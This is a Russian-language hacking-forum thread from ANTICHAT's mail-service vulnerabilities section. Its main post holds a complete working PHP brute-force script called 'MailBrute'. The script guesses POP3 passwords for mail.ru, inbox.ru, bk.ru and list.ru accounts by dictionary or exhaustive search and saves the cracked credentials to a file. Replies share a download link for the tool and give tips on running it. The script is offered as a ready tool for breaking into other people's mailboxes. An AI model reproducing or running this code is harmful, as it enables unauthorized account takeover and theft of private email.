ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #201  
Старый 31.12.2008, 06:33
or1
Banned
Регистрация: 07.09.2008
Сообщений: 48
С нами: 9303416

Репутация: -1
По умолчанию

Цитата:
Сообщение от Hs_Mx  
че там вооще писать?)


ребята скиньте плз сылку на этот скрипт каторый вы обсуждали все время, а то все сылки битые,
хочу посмотреть и исправить,можете пока этот посмотреть как он...
PHP код:
<html> 
<head> 
<title>MailBrute By Joker-jar</title> 
<meta http-equiv=Content-Type content="text/html; charset=windows-1251"> 
</head> 
<body> 

<? 

set_time_limit
(0); 
ignore_user_abort(1); 
error_reporting(0); 

$servers = Array( 
"mail" => "pop3.mail.ru", 
"inbox" => "pop3.inbox.ru", 
"bk" => "pop3.bk.ru", 
"list" => "pop3.list.ru", 
); 

$pop3port = 110; 

$passfile = "pass.txt"; 
$good = "good.txt"; 
$bad = "bad.txt"; 

function 
CheckPass($pop3server, $username, $pass) 
{ 
global 
$pop3port; 
$fp = fsockopen($pop3server, $pop3port, $errno, $errstr, 30); 
if (!
$fp) 
return 
false; 
$buf = fgets($fp, 128); 
if (
$buf[0] != "+") 
{ 
fclose($fp); 
return 
false; 
} 
fputs($fp,"user ".$username."\r\n"); 
$buf = fgets($fp, 128); 
if (
$buf[0] != "+") 
{ 
fclose($fp); 
return 
false; 
} 
fputs($fp,"pass ".$pass."\r\n"); 
$buf = fgets($fp, 128); 
if (
strlen($buf) > 3 && $buf[0] == "+") 
{ 
fclose($fp); 
return 
true; 
} 
fclose($fp); 
return 
false; 
} 

function 
genstr($l, $alf) 
{ 
$result = ""; 
for (
$i=0;$i<$l;$i++) 
$result .= $alf[0]; 
return 
$result; 
} 

function 
nextpass($p, $alf) 
{ 
for (
$i=0;$i<strlen($p);$i++) 
{ 
if (
strpos($alf,$p[$i]) == strlen($alf)-1) 
{ 
$p[$i] = $alf[0]; 
} 
else 
{ 
$p[$i] = $alf[strpos($alf,$p[$i])+1]; 
return 
$p; 
} 
} 
$p .= $alf[0]; 
return 
$p; 
} 

if (isset(
$_POST["name"])) 
{ 
if (
$_POST["name"] === "") 
{ 
echo 
"Отсутствует имя</body></html>"; 
exit; 
} 
if (!isset(
$servers[$_POST["popserver"]])) 
{ 
echo 
"Неправильно задан pop3 сервер</body></html>"; 
exit; 
} 
settype($_POST["minl"],"int"); 
settype($_POST["maxl"],"int"); 
if (
$_POST["minl"] == 0 || $_POST["maxl"] == 0 || $_POST["maxl"] - $_POST["minl"] < 0) 
{ 
echo 
"Ошибка в параметрах длины пароля</body></html>"; 
exit; 
} 
if (
$_POST["dict"] !== "yes" && $_POST["alf"] === "") 
{ 
echo 
"Алфавит пуст</body></html>"; 
exit; 
} 
if (
$_POST["dict"] === "yes" && (!file_exists($passfile) || filesize($passfile) == 0)) 
{ 
echo 
"Файл $passfile пуст или отсутствует</body></html>"; 
exit; 
} 
if (
$_POST["dict"] !== "yes") 
{ 
//Полный перебор 
$startpass = genstr($_POST["minl"],$_POST["alf"]); 
$endpass = genstr($_POST["maxl"]+1,$_POST["alf"]); 
$curpass = $startpass; 
while (
$curpass != $endpass) 
{ 
if (
CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass)) 
{ 
$f = fopen($good, 'ab'); 
fwrite($f, $_POST["name"]." : ".$curpass."\r\n"); 
fclose($f); 
exit; 
} 
else 
{ 
$f = fopen($bad, 'ab'); 
fwrite($f, $_POST["name"]." : ".$curpass."\r\n"); 
fclose($f); 
} 
$curpass = nextpass($curpass,$_POST["alf"]); 
} 
} 
else 
{ 
//Атака по словарю 
$passes = file($passfile); 
for(
$i=0; $i<count($passes);$i++) 
{ 
$curpass = trim($passes[$i]); 
if (
CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass)) 
{ 
$f = fopen($good, 'ab'); 
fwrite($f, $_POST["name"]." : ".$curpass."\r\n"); 
fclose($f); 
exit; 
} 
else 
{ 
$f = fopen($bad, 'ab'); 
fwrite($f, $_POST["name"]." : ".$curpass."\r\n"); 
fclose($f); 
} 
} 
} 
} 
?> 

<fieldset style="width: 500"> 
<legend>Параметры брута</legend> 
<form method="POST"> 
<table border="0"> 
<tr><td> 
<input type="text" name="name" style="width: 100"> 
</td><td>@ 
<select name="popserver" style="width: 100"> 
<option value="mail" selected>mail.ru 
<option value="inbox">inbox.ru 
<option value="bk">bk.ru 
<option value="list">list.ru 
</select> 
</td></tr> 
<tr><td colspan="2"><br> 
<input type="radio" name=dict value="yes" checked>Атака по словарю pass.txt<br> 
<input type="radio" name=dict value="no">Атака полным перебором 
</td></tr> 
<tr><td style="text-align: right"> 
алфавит: 
</td><td> 
<input type="text" name="alf" style="width: 200" value="abcdefghijklmnopqrstuvwxyz"> 
</td></tr> 
<tr><td style="text-align: right"> 
мин длина: 
</td><td> 
<input type="text" name="minl" style="width: 50" value="1"> 
</td></tr> 
<tr><td style="text-align: right"> 
макс длина: 
</td><td> 
<input type="text" name="maxl" style="width: 50" value="5"> 
</td></tr> 
<tr><td colspan="2"> 
<br> 
<input type="submit" value="Начать брут и идти спать"> 
</td></tr> 
</table> 
</form> 
</fieldset> 
</body> 
</html>

PHP код:
set_time_limit(0); 
<----без него лутче
 
Ответить с цитированием

  #202  
Старый 31.12.2008, 19:10
siqver
Новичок
Регистрация: 30.12.2008
Сообщений: 1
С нами: 9137916

Репутация: 0
По умолчанию

Цитата:
ребята скиньте плз сылку на этот скрипт каторый вы обсуждали все время, а то все сылки битые,
хочу посмотреть и исправить,можете пока этот посмотреть как он...
этот, вроде:
http://slil.ru/25303831
 
Ответить с цитированием

  #203  
Старый 14.02.2009, 13:34
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
С нами: 9080952

Репутация: 127
По умолчанию

имхо на бесплатных хостингах бруты и т.п. лучше незапускать,мороки будет много да и пропускать гуды будет...
 
Ответить с цитированием

  #204  
Старый 13.11.2009, 13:34
Tigresa
Новичок
Регистрация: 13.11.2009
Сообщений: 1
С нами: 8680997

Репутация: 0
По умолчанию

Ребята, обясните мне как установить этот скрипт. Я совсем новичок в мира PHP. Я установил скриптб не знаю можеть не установиль но он не работает...Помогите пожайлуста.
На какои линю я должен написать мой эмейл?
 
Ответить с цитированием

  #205  
Старый 22.11.2009, 20:27
maxim_bo
Новичок
Регистрация: 11.08.2008
Сообщений: 10
С нами: 9341631

Репутация: -5
По умолчанию

После залития скрипта на хост по фтп во время залития обрывается связь и больше не пускает на хост ни по фтп ни в админку, хост блокируется...
 
Ответить с цитированием

  #206  
Старый 14.05.2011, 22:27
energ77
Познающий
Регистрация: 17.07.2010
Сообщений: 49
С нами: 8327126

Репутация: 0
По умолчанию

перезалей
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP 186 21.02.2010 02:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.